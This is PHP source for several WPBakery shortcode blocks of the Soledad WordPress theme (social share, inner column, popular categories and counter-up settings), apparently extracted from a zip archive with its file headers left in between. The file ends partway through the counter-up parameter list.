	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Social Share', 'soledad' ),
	'description'   => 'Post Builder - Social Share',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Share Style', 'soledad' ),
			'param_name'       => 'penci_single_style_cscount',
			'value'            => array(
				'Style 1'  => 's1',
				'Style 2'  => 's2',
				'Style 3'  => 's3',
				'Style 4'  => 'n1',
				'Style 5'  => 'n2',
				'Style 6'  => 'n3',
				'Style 7'  => 'n4',
				'Style 8'  => 'n5',
				'Style 9'  => 'n6',
				'Style 10' => 'n7',
				'Style 11' => 'n8',
				'Style 12' => 'n9',
				'Style 13' => 'n10',
				'Style 14' => 'n11',
				'Style 15' => 'n12',
				'Style 16' => 'n13',
				'Style 17' => 'n14',
				'Style 18' => 'n15',
				'Style 19' => 'n16',
				'Style 20' => 'n17',
				'Style 21' => 'n18',
				'Style 22' => 'n19',
				'Style 23' => 'n20',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Comment?', 'soledad' ),
			'param_name'       => 'penci_single_meta_comment',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Label?', 'soledad' ),
			'param_name'       => 'penci_single_share_label',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Like?', 'soledad' ),
			'param_name'       => 'penci__hide_share_plike',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Social Align', 'soledad' ),
			'param_name'       => 'meta_align',
			'value'            => array(
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Comment Text Color', 'soledad' ),
			'param_name'       => 'comment_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Label Color', 'soledad' ),
			'param_name'       => 'label_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Label Icon Color', 'soledad' ),
			'param_name'       => 'label_icolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Label Borders Color', 'soledad' ),
			'param_name'       => 'label_bdcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Label Label Background Color', 'soledad' ),
			'param_name'       => 'label_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Like Button Color', 'soledad' ),
			'param_name'       => 'likebtn_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Like Button Borders Color', 'soledad' ),
			'param_name'       => 'likebtn_bcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Background Color', 'soledad' ),
			'param_name'       => 'social_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Hover Background Color', 'soledad' ),
			'param_name'       => 'social_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Color', 'soledad' ),
			'param_name'       => 'social_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Hover Color', 'soledad' ),
			'param_name'       => 'social_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Borders Color', 'soledad' ),
			'param_name'       => 'social_bcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Hover Borders Color', 'soledad' ),
			'param_name'       => 'social_bhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Plus Button Color', 'soledad' ),
			'param_name'       => 'plus_btn_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Plus Button Hover Color', 'soledad' ),
			'param_name'       => 'plus_btn_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Plus Button Background Color', 'soledad' ),
			'param_name'       => 'plus_btn_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Plus Button Background Hover Color', 'soledad' ),
			'param_name'       => 'plus_btn_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\t;.]%  %  3  js_composer/shortcodes/pc_single_share/frontend.phpnu [        <?php
$settings         = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id         = Penci_Vc_Helper::get_unique_id_block( 'pc_single_share' );
$css_custom       = '';
$style_cscount    = $settings['penci_single_style_cscount'];
$wrapper_class    = array();
$wrapper_class[]  = 'tags-share-box';
$wrapper_class[]  = is_page() ? 'page-share hide-tags' : 'single-post-share';
$wrapper_class[]  = 'tags-share-box-' . $style_cscount;
$wrapper_class_c1 = 's1' == $style_cscount ? ' center-box' : ' tags-share-box-2_3';
$wrapper_class[]  = strpos( $style_cscount, 'n' ) !== false ? ' pcnew-share' : $wrapper_class_c1;

if ( in_array( $style_cscount, [ 'n1', 'n3', 'n5', 'n8', 'n9', 'n10', 'n11', 'n12', 'n13', 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' penci-social-colored';
}

if ( in_array( $style_cscount, [
	'n1',
	'n3',
	'n5',
	'n8',
	'n9',
	'n10',
	'n11',
	'n12',
	'n13',
	'n14',
	'n16',
	'n19',
	'n20'
] ) ) {
	$wrapper_class[] = ' penci-icon-full';
}

if ( in_array( $style_cscount, [ 'n2', 'n4', 'n6', 'n7', 'n9', 'n11', 'n13' ] ) ) {
	$wrapper_class[] = ' tags-share-box-s2';
}

if ( in_array( $style_cscount, [
	'n2',
	'n4',
	'n6',
	'n7',
	'n9',
	'n11',
	'n13',
	'n15',
	'n17',
	'n18',
	'n19',
	'n20'
] ) ) {
	$wrapper_class[] = ' show-txt';
}

if ( in_array( $style_cscount, [ 'n3', 'n4', 'n18' ] ) ) {
	$wrapper_class[] = ' rounder';
}

if ( in_array( $style_cscount, [ 'n5', 'n6', 'n10', 'n11' ] ) ) {
	$wrapper_class[] = ' show-shadow';
}

if ( in_array( $style_cscount, [ 'n7' ] ) ) {
	$wrapper_class[] = ' focus-icon';
}

if ( in_array( $style_cscount, [ 'n8', 'n9', 'n10', 'n11', 'n12', 'n13' ] ) ) {
	$wrapper_class[] = ' size-large';
}

if ( in_array( $style_cscount, [ 'n9', 'n11', 'n13' ] ) ) {
	$wrapper_class[] = ' txt-below';
}

if ( in_array( $style_cscount, [ 'n12', 'n13' ] ) ) {
	$wrapper_class[] = ' no-spacing';
}

if ( in_array( $style_cscount, [ 'n14', 'n15' ] ) ) {
	$wrapper_class[] = ' black-ver';
}

if ( in_array( $style_cscount, [ 'n16', 'n17', 'n18', 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' border-style';
}

if ( in_array( $style_cscount, [ 'n16', 'n17', 'n18' ] ) ) {
	$wrapper_class[] = ' penci-social-textcolored';
}

if ( in_array( $style_cscount, [ 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' full-border';
}
$css_class       = vc_shortcode_custom_css_class( $settings['css'] );
$wrapper_class[] = ' ' . $css_class;

?>
    <div id="<?php echo $block_id; ?>"
         class="pcsb-share <?php echo esc_attr( implode( ' ', $wrapper_class ) ); ?> post-share<?php if ( $settings['penci__hide_share_plike'] ): echo ' hide-like-count'; endif; ?>">
		<?php
		if ( 's1' != $style_cscount ) {
			echo '<span class="penci-social-share-text">';
			echo '<i class="penciicon-sharing"></i>';
			echo penci_get_setting( 'penci_trans_share' ) ? do_shortcode( penci_get_setting( 'penci_trans_share' ) ) : 'Share';
			echo '</span>';
		}
		?>
		<?php if ( ! $settings['penci_single_meta_comment'] && 's1' == $style_cscount && ! is_page() ) : ?>
            <span class="single-comment-o"><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></span>
		<?php endif; ?>

		<?php if ( ! $settings['penci__hide_share_plike'] && ! is_page() ): ?>
            <span class="post-share-item post-share-plike">
		            <?php echo penci_single_getPostLikeLink( get_the_ID() ); ?>
                    </span>
		<?php endif; ?>
		<?php penci_soledad_social_share(); ?>
    </div>
<?php
$css = [
	'penci_single_share_label' => [ '{{WRAPPER}} .penci-social-share-text' => 'display:none !important' ],
	'meta_align'               => [ '{{WRAPPER}} .tags-share-box' => 'text-align:{{VALUE}}' ],
	'comment_text_color'       => [
		'{{WRAPPER}} .single-comment-o'                       => 'color:{{VALUE}}',
		'{{WRAPPER}} .tags-share-box .single-comment-o:after' => 'background-color:{{VALUE}};opacity: 0.5;'
	],
	'label_color'              => [ '{{WRAPPER}} .pcnew-share .penci-social-share-text,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .penci-social-share-text' => 'color:{{VALUE}}' ],
	'label_icolor'             => [ '{{WRAPPER}} .pcnew-share .penci-social-share-text i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .penci-social-share-text i' => 'color:{{VALUE}}' ],
	'label_bdcolor'            => [
		'{{WRAPPER}} .pcnew-share .penci-social-share-text'                 => 'border-color:{{VALUE}}',
		'{{WRAPPER}} .pcnew-share .penci-social-share-text:before'          => 'border-left-color:{{VALUE}}',
		'body.rtl {{WRAPPER}} .pcnew-share .penci-social-share-text:before' => 'border-left-color:transparent;border-right-color:{{VALUE}}',
	],
	'label_bgcolor'            => [
		'{{WRAPPER}} .pcnew-share .penci-social-share-text'                => 'background-color:{{VALUE}}',
		'{{WRAPPER}} .pcnew-share .penci-social-share-text:after'          => 'border-left-color:{{VALUE}};',
		'body.rtl {{WRAPPER}} .pcnew-share .penci-social-share-text:after' => 'border-right-color:{{VALUE}};',
	],
	'likebtn_bgcolor'          => [ '{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-plike,{{WRAPPER}} .tags-share-box-n19.post-share a.penci-post-like,{{WRAPPER}} .tags-share-box-n20.post-share a.penci-post-like,{{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike' => 'background-color:{{VALUE}}' ],
	'likebtn_color'            => [ '{{WRAPPER}} .black-ver .post-share-plike i,{{WRAPPER}} .post-share.tags-share-box-2_3.post-share .count-number-like,{{WRAPPER}} .tags-share-box.tags-share-box-2_3.post-share .post-share-item .penci-post-like,{{WRAPPER}} .pcnew-share.penci-icon-full .post-share-item.post-share-plike i,{{WRAPPER}} .tags-share-box-n19.pcnew-share.border-style .post-share-item.post-share-plike i, {{WRAPPER}} .tags-share-box-n20.pcnew-share.border-style .post-share-item.post-share-plike i, {{WRAPPER}} .tags-share-box-n20 .post-share-item.post-share-plike i,{{WRAPPER}} .penci-social-textcolored .post-share-plike i.fa-heart-o, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike .count-number-like,{{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike .penci-post-like,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike .count-number-like,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike .penci-post-like' => 'color:{{VALUE}} !important' ],
	'likebtn_bcolor'           => [ '{{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike' => 'border-color:{{VALUE}}' ],
	'social_bgcolor'           => [ '{{WRAPPER}} a.post-share-item,{{WRAPPER}} .black-ver .post-share-item,{{WRAPPER}} .black-ver .post-share-item i' => 'background-color:{{VALUE}}' ],
	'social_bghcolor'          => [ '{{WRAPPER}} a.post-share-item:hover,{{WRAPPER}} .black-ver .post-share-item:hover,{{WRAPPER}} .black-ver .post-share-item:hover i' => 'background-color:{{VALUE}}' ],
	'social_color'             => [ '{{WRAPPER}} a.post-share-item,{{WRAPPER}} .black-ver .post-share-item i,{{WRAPPER}} .show-txt.post-share a .dt-share' => 'color:{{VALUE}}' ],
	'social_hcolor'            => [ '{{WRAPPER}} a.post-share-item:hover,{{WRAPPER}} .black-ver .post-share-item:hover i,{{WRAPPER}} .show-txt.post-share a:hover .dt-share' => 'color:{{VALUE}}' ],
	'social_bcolor'            => [ '{{WRAPPER}} a.post-share-item,{{WRAPPER}} .pcnew-share.penci-icon-full.border-style .post-share-item i' => 'border-color:{{VALUE}}' ],
	'social_bhcolor'           => [ '{{WRAPPER}} a.post-share-item:hover,{{WRAPPER}} .pcnew-share.penci-icon-full.border-style .post-share-item:hover i' => 'border-color:{{VALUE}}' ],
	'plus_btn_color'           => [ '{{WRAPPER}} a.post-share-expand,{{WRAPPER}} .black-ver .post-share-expand i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand i' => 'color:{{VALUE}} !important' ],
	'plus_btn_hcolor'          => [ '{{WRAPPER}} a.post-share-expand:hover,{{WRAPPER}} .black-ver .post-share-expand:hover i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand:hover,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand:hover i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand:hover i' => 'color:{{VALUE}} !important' ],
	'plus_btn_bgcolor'         => [ '{{WRAPPER}} a.post-share-expand,{{WRAPPER}} .black-ver .post-share-expand,{{WRAPPER}} .black-ver .post-share-expand i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand' => 'background-color:{{VALUE}} !important' ],
	'plus_btn_bghcolor'        => [ '{{WRAPPER}} a.post-share-expand:hover,{{WRAPPER}} .black-ver .post-share-expand:hover,{{WRAPPER}} .black-ver .post-share-expand:hover i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand:hover,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand:hover i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand:hover' => 'background-color:{{VALUE}} !important' ],
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     0w\m    0  js_composer/shortcodes/column_inner/settings.phpnu [        <?php
vc_map( array(
	'base'                      => 'penci_column_inner',
	'icon'                      => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'                  => 'Soledad',
	'html_template'             => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/penci_column_inner/frontend.php',
	'name'                      => __( 'Column Inner', 'soledad' ),
	'class'                     => '',
	'wrapper_class'             => '',
	'controls'                  => 'full',
	'allowed_container_element' => false,
	'content_element'           => false,
	'is_container'              => true,
	'as_child'                  => array( 'only' => 'penci_container_inner' ),
	'params'                    => array(
		array(
			'type'       => 'hidden',
			'param_name' => 'width',
		),
		array(
			'type'       => 'hidden',
			'param_name' => 'class_layout',
		),
	),
	'js_view'                   => 'VcColumnView',
) );PK     0w\Å     0  js_composer/shortcodes/column_inner/frontend.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Shortcode attributes
 * @var $atts
 * @var $el_class
 * @var $css
 * @var $el_id
 * @var $equal_height
 * @var $content_placement
 * @var $content - shortcode content
 * Shortcode class
 * @var WPBakeryShortCode_Vc_Row_Inner $this
 */
$el_class = $equal_height = $content_placement = $css = $el_id = '';
$disable_element = '';
$output = $after_output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$el_class = $this->getExtraClass( $el_class );
$css_classes = array(
	'vc_row',
	'wpb_row',
	// deprecated
	'vc_inner',
	'vc_row-fluid',
	$el_class,
	vc_shortcode_custom_css_class( $css ),
);
if ( 'yes' === $disable_element ) {
	if ( vc_is_page_editable() ) {
		$css_classes[] = 'vc_hidden-lg vc_hidden-xs vc_hidden-sm vc_hidden-md';
	} else {
		return '';
	}
}

if ( vc_shortcode_custom_css_has_property( $css, array(
	'border',
	'background',
) ) ) {
	$css_classes[] = 'vc_row-has-fill';
}

if ( ! empty( $atts['gap'] ) ) {
	$css_classes[] = 'vc_column-gap-' . $atts['gap'];
}

if ( ! empty( $equal_height ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-equal-height';
}

if ( ! empty( $atts['rtl_reverse'] ) ) {
	$css_classes[] = 'vc_rtl-columns-reverse';
}

if ( ! empty( $content_placement ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-content-' . $content_placement;
}

if ( ! empty( $flex_row ) ) {
	$css_classes[] = 'vc_row-flex';
}

$wrapper_attributes = array();
// build attributes for wrapper
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}

$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( array_unique( $css_classes ) ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';

$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= $after_output;

// @codingStandardsIgnoreLine
echo $output;
PK     0w\\R  R  /  js_composer/shortcodes/popular_cat/settings.phpnu [        <?php
$group_color   = 'Typo & Color';

$params_heading           = Penci_Vc_Params_Helper::params_heading();
$extra_params             = Penci_Vc_Params_Helper::extra_params();
$param_heading_typo_color = Penci_Vc_Params_Helper::params_heading_typo_color();

$main_params = array(
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Amount', 'soledad' ),
		'param_name' => 'plimit',
		'std'        => '10',
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Categories type', 'soledad' ),
		'param_name' => 'pcat_type',
		'value'      => array(
			__( 'Popular categories by number posts', 'soledad' )   => 'default',
			__( 'Popular categories sort by name A->Z', 'soledad' ) => 'alphabetical_order',
		),
		'std'        => 'default',
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => esc_html__( 'Show posts count', 'soledad' ),
		'param_name'       => 'pcount',
		'edit_field_class' => 'vc_col-sm-6',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => esc_html__( 'Show hierarchy', 'soledad' ),
		'param_name'       => 'phierarchical',
		'edit_field_class' => 'vc_col-sm-6',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => esc_html__( 'Hide Uncategorized category', 'soledad' ),
		'param_name'       => 'phide_uncat',
		'edit_field_class' => 'vc_col-sm-6',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	)
);
$typo_params = array(
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_popularcat_settings',
		'heading'          => esc_html__( 'Popular cats', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Link Color', 'soledad' ),
		'param_name'       => 'plink_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
		'param_name'       => 'plink_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'pcat_item_size',
		'heading'    => __( 'Font size for Link', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Counts  Text Color', 'soledad' ),
		'param_name'       => 'ppcount_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	)
);

vc_map( array(
	'base'          => "penci_popular_cat",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/popular_cat/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.__( 'Popular Cat', 'soledad' ),
	'description'   => __( 'Popular Cat Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( $main_params, $params_heading, $param_heading_typo_color, $typo_params, $extra_params )
) );
PK     0w\FBl	  l	  /  js_composer/shortcodes/popular_cat/frontend.phpnu [        <?php
/**
 * Shortcode attributes
 * @var $atts
 * @var $css_animation
 * @var $el_class
 * @var $css
 */

$el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = '';
$class_to_filter .= vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-block-popular-cat widget_categories widget widget_categories';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'popular_cat' );

$c          = 'yes' == $atts['pcount'] ? '1' : '0';
$h          = 'yes' == $atts['phierarchical'] ? '1' : '0';
$limit      = $atts['plimit'] ? $atts['plimit'] : 6;
$exclude    = 'yes' == $atts['phide_uncat'] ? '1' : '';
$hide_empty = 'yes' != $atts['pcount'];

$cat_args = array(
	'show_count'   => $c,
	'hierarchical' => $h,
	'hide_empty'   => $hide_empty,
	'number'       => $limit,
	'title_li'     => '',
	'exclude'      => $exclude
);
?>
<div id="<?php echo esc_attr( $block_id ) ?>" class="<?php echo esc_attr( $css_class ); ?>">
	<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
    <div class="penci-div-inner">
        <ul>
			<?php
			wp_list_categories( $cat_args );
			?>
        </ul>
    </div>
</div>
<?php
$block_id_css = '#' . $block_id;
$block_id_css2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom   = '';

$css_custom .= Penci_Vc_Helper::get_heading_block_css( $block_id_css, $atts );

if ( $atts['plink_color'] ) {
	$css_custom .= $block_id_css2 . ' ul li a{ color: ' . esc_attr( $atts['plink_color'] ) . '; }';
}
if ( $atts['plink_hcolor'] ) {
	$css_custom .= $block_id_css2 . ' ul li a:hover{ color: ' . esc_attr( $atts['plink_hcolor'] ) . '; }';
}

if ( $atts['pcat_item_size'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $block_id_css . ' ul li a{ font-size: {{VALUE}}px; }', $atts['pcat_item_size'] );
}
if ( $atts['ppcount_color'] ) {
	$css_custom .= $block_id_css2 . ' ul li a .category-item-count{ color: ' . esc_attr( $atts['ppcount_color'] ) . '; }';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $block_id_css, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
?>
PK     0w\gF  gF  .  js_composer/shortcodes/counter_up/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_counter_up',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/counter_up/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Counter Up', 'soledad' ),
	'description'   => __( 'Counter Up Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		Penci_Vc_Params_Helper::params_container_width(),
		array(
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Counter Up style', 'soledad' ),
				'param_name' => 'cup_style',
				'std'        => 's1',
				'value'      => array(
					esc_html__( 'Style 1', 'soledad' ) => 's1',
					esc_html__( 'Style 2', 'soledad' ) => 's2',
				),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Posttion', 'soledad' ),
				'param_name' => 'cup_align',
				'value'      => array(
					__( 'Align Center', 'soledad' ) => 'center',
					__( 'Align Left', 'soledad' )   => 'left',
					__( 'Align Right', 'soledad' )  => 'right',
				),
				'std'        => 'center',
				'dependency' => array( 'element' => 'cup_style', 'value' => 's1' ),
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Number', 'soledad' ),
				'param_name' => 'cup_number'
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Prefix of number', 'soledad' ),
				'param_name' => 'cup_prefix_number'
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Suffix of number', 'soledad' ),
				'param_name' => 'cup_suffix_number',
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Title', 'soledad' ),
				'param_name'  => 'cup_title',
				'admin_label' => true
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Icon type', 'soledad' ),
				'param_name' => 'cup_icon_type',
				'value'      => array(
					esc_html__( 'Icon', 'soledad' )  => 'icon',
					esc_html__( 'Image', 'soledad' ) => 'image',
				),
			),
			array(
				'type'       => 'attach_image',
				'heading'    => esc_html__( 'Image', 'soledad' ),
				'param_name' => 'cup_image',
				'dependency' => array( 'element' => 'cup_icon_type', 'value' => 'image' ),
			),
			array(
				'type'       => 'textfield',
				'heading'    => __( 'Image size', 'soledad' ),
				'param_name' => 'img_size',
				'std'        => 'full',
				'dependency' => array( 'element' => 'cup_icon_type', 'value' => 'image' ),
			),
			array(
				'type'       => 'iconpicker',
				'heading'    => __( 'Icon', 'soledad' ),
				'param_name' => 'cup_icon',
				'value'      => '',
				'settings'   => array( 'emptyIcon' => true, 'iconsPerPage' => 4000 ),
				'dependency' => array( 'element' => 'cup_icon_type', 'value' => 'icon' )
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Icon Border Style', 'soledad' ),
				'param_name' => 'icon_border_style',
				'value'      => array(
					esc_html__( 'None', 'soledad' )   => '',
					esc_html__( 'Solid', 'soledad' )  => 'solid',
					esc_html__( 'Dashed', 'soledad' ) => 'dashed',
					esc_html__( 'Dotted', 'soledad' ) => 'dotted',
					esc_html__( 'Double', 'soledad' ) => 'double',
				),
				'dependency' => array( 'element' => 'cup_icon_type', 'value' => 'icon' ),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'icon_border_width',
				'heading'          => __( 'Border width for Icon', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array(
					'element' => 'icon_border_style',
					'value'   => array( 'solid', 'dashed', 'dotted', 'double' )
				),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'icon_border_radius',
				'heading'          => __( 'Border radius for Icon', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array(
					'element' => 'icon_border_style',
					'value'   => array( 'solid', 'dashed', 'dotted', 'double' )
				),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'icon_padding',
				'heading'          => __( 'Padding for Icon', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'icon_size', 'value' => 'custom' ),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_image_width_height',
				'heading'          => __( 'Image with/height', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'cup_icon_type', 'value' => 'image' ),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'icon_margin_bottom',
				'heading'          => __( 'Custom margin bottom for Icon or Image', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
